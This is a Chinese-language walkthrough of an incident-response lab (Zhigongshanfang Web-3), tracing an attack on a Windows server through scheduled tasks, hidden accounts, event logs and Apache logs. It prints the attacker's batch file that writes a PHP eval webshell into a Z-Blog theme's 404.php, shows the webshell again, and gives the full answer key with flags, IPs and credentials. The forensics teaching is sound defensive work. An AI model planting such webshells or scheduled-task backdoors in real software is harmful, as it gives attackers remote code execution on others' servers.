今天继续给大家带来知攻善防Web-3靶机详细教程,其实基础的Windows应急响应的思路都是大差不差的;常见的几个点就是"计划任务""开机启动项""后台进程""隐藏用户"等;
- 本靶机与Web-1的步骤都是差不多的;目的就是为了巩固相应的知识;
文章目录
靶机环境
今天继续给大家带来知攻善防Web-3靶机详细教程,其实基础的Windows应急响应的思路都是大差不差的;常见的几个点就是"计划任务""开机启动项""后台进程""隐藏用户"等;
前景需要:
小苕在省护值守中,在灵机一动情况下把设备停掉了,甲方问:为什么要停设备?小苕说:我第六感告诉我,这机器可能被黑了。
这是他的服务器,请你找出以下内容作为通关条件:
- 攻击者的两个IP地址
- 隐藏用户名称
- 黑客遗留下的flag【3个】
本虚拟机的考点不在隐藏用户以及ip地址,仔细找找吧。
-
关于靶机启动
解压后双击.ovf文件,使用Vmware打开,直接导入即可。
-
相关账户密码(Windows)
administrator /xj@123456
话不多说,直接开始本次的主机排查,具体步骤可以先看看:知攻善防蓝队靶机Web-1溯源过程
应急溯源过程
首先,我们进入主机,发现是台Windows Server 2012服务器:

这里我们还是先查找常见的几个排查点:
- 计划任务程序
- 开机启动项
- 后台进程
- 隐藏用户
- 后台Webshell文件
- 系统日志
(1)任务计划
单击【开始】>【设置】>【控制面板】>【任务计划】,查看计划任务属性

首先打开这个,我们就遇到了第一个flag(运气比较好);并且我们得知了攻击者创建到隐藏用户为hack6618$ ;
所以第一个flag为:flag{zgsfsys@sec}
那么接下来,我们要做的就是查看这个定时任务执行的后台文件是什么,以及路径:

可以看到,攻击者将文件处理为.bat的批处理文件,方便执行;
具体文件路径为:C:\Users\hack6618$\Downloads\system.bat

bash
echo ^<?php eval($_POST["pass"]); ?^> > D:\phpstudy_pro\WWW\zb_users\theme\aymFreeFive\template\404.php
echo flag{888666abc}
我们来到具体目录下,发现文件主要目的就是在Web服务创建一个404.php文件(作用:创建一句话木马,是为了蚁剑等工具进行连接)
同时也得到了第二个flag:flag{888666abc}
(2)隐藏用户排查
接下来给大家几个常见隐藏用户排查的命令以及步骤:
- 可疑账号
├── net user
├── net user 用户名
└──lusrmgr.msc本地用户和组

当然还有一些简单的命令:
bash
# 列出所有本地用户(基础排查)
net user ------隐藏用户排查不出来
# 获取用户详细信息(含状态、描述、SID)
wmic useraccount get Name,Status,Description,Disabled,SID
(最保险的方法是直接去注册表进行查看:
- 按 Win+R 输 "【regedit】",导航至 【HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\Names】,右侧列表即含所有用户(含隐藏)。)
(3)日志文件
在Windows中,在进行溯源的时候,我们通常是查看"安全""系统""应用程序"这三个日志:
具体步骤:
Win+R 打开运行,输入 "【eventvwr.msc】",回车运行,打开"事件查看器":

搜索登陆失败的4645事件ID,我们可以大概判断攻击者的攻击时间:2024/3/11 20. ~ 22. 左右
随后我们搜索4720创建用户 的事件ID,发现创建了hack6618$隐藏用户:

(4)Web应用程序日志
随后发现在服务器上还安装了phpstudy,并且有Apache和MySQL等服务;那接下来的步骤就很熟悉了,直接分别查看他们的日志:

(只在Apache上发现日志:)

打开后,经过排查,发现192.168.75.129这个可疑IP在攻击前存在利用cmd.jsp文件进行爆破的行为:

如果我们想查看日志的具体内容,可以用Linux来进行排查:Apache和Linux日志分析
使用命令进行排查:
bash
# 统计IP地址
awk '{print $1}' access.log | uniq -c | sort -n
# 不够美观------ uniq -c 只合并连续的相同行
awk '{print $1}' access.log | sort | uniq -c | sort -nr

发现两个可疑IP地址;
想要详细查看具体某一个IP地址的信息:
bash
# 查看具体IP的详细信息
cat access.log | grep 192.168.75.130
cat access.log | grep 192.168.75.129


可以看到192.168.75.130这个IP,一直在SYSTEM权限里尝试CSRF漏洞越权;
- CSRF 漏洞是 "跨站请求伪造",指攻击者利用用户已登录的合法身份,诱导用户在不知情时发送恶意请求,执行非用户意愿的操作(如改密、操作数据)。
并且在/zb_users/theme/aymFreeFive/template/上传了一个404.php脚本文件:

具体内容:
bash
<?php eval($_POST["pass"]); ?>

- 而这个文件就是我们在任务计划进行排查的时候system.bat文件进行的操作;
所以可疑IP:192.168.75.129和 192.168.75.130
(5)进程排查
系统进程以及服务的排查就简单多了,有以下方法:
- 任务管理器
- 命令
netstat -ano
我们打开cmd然后输入命令,来查找存在哪些可疑进程:

无任何可疑信息;
Web服务排查
我们打开3306和Apache服务,进入到网站里:

具体页面如下:


(当前权限为游客)
还是老样子,熟悉系统的同时对Web目录进行枚举:

得到结果如上,随后我们分别进行访问:
没有任何信息,只能去网上搜索漏洞:Zblog

不知道用户名密码?网上搜索一些常见的弱口令进行爆破:

失败了,只能上点手段了;
通过 Z-Blog 官方提供的重置工具
前提条件:你有FTP访问权限。
使用:通过FTP上传到Z-BlogPHP的根目录,在浏览器中打开nologin.php,使用过后此文件会自动删除。
操作步骤:
- 访问 Z-Blog 官方论坛。
- 找到并点击"找回密码"或类似选项。
- 下载 nologin.zip 文件。
- 解压 nologin.zip 文件,取出 nologin.php 文件。
- 使用FTP将 nologin.php 文件上传到你的Z-Blog PHP网站根目录。
- 在浏览器中访问 http://你的域名/nologin.php。
- 进入 nologin.php 页面后,点击"登录"按钮,即可进入后台。
- 进入后台后,点击左侧导航栏的"用户管理"选项。
- 选择管理员账户,然后修改密码。

随后访问:http://192.168.44.169/nologin.php

得到页面,同时还发现了攻击者保存的hacker账号;
重置密码后,我们登录到admin用户和Hacker用户,查看攻击者存放了哪些后台文件:

随后在Hacker后台找到了flag:

flag{H@Ck@sec}
解题
至此,我们找到了所有的flag和答案,点击服务器桌面的解题.exe,即可完成靶机挑战:

输入答案:

成功解决靶机
bash
C:\Users\Administrator\Desktop>题解.exe
欢迎使用 知攻善防实验室 题解系统
确保你已获得以下信息:
攻击者的两个IP地址
攻击者隐藏用户名称
三个攻击者留下的flag
你准备好了吗?(y/n): y
请输入攻击者第一个ip地址:192.168.75.130
IP1地址正确
请输入攻击者第二个ip地址:192.168.75.129
IP2地址正确
请输入攻击者隐藏用户名:hack6618$
用户名正确
请输入第一个flag:flag{zgsfsys@sec}
flag1正确
请输入第二个flag:flag{888666abc}
flag2正确
请输入第三个flag:flag{H@Ck@sec}
flag3正确
恭喜你,你成功解出了该靶机
恭喜你,你成功解出了该靶机
恭喜你,你成功解出了该靶机
恭喜你,你成功解出了该靶机
恭喜你,你成功解出了该靶机
恭喜你,你成功解出了该靶机
恭喜你,你成功解出了该靶机
恭喜你,你成功解出了该靶机
C:\Users\Administrator\Desktop>
总结
没什么好说的,多动手,自己上手永远比眼睛看学的更多;
期待下次再见;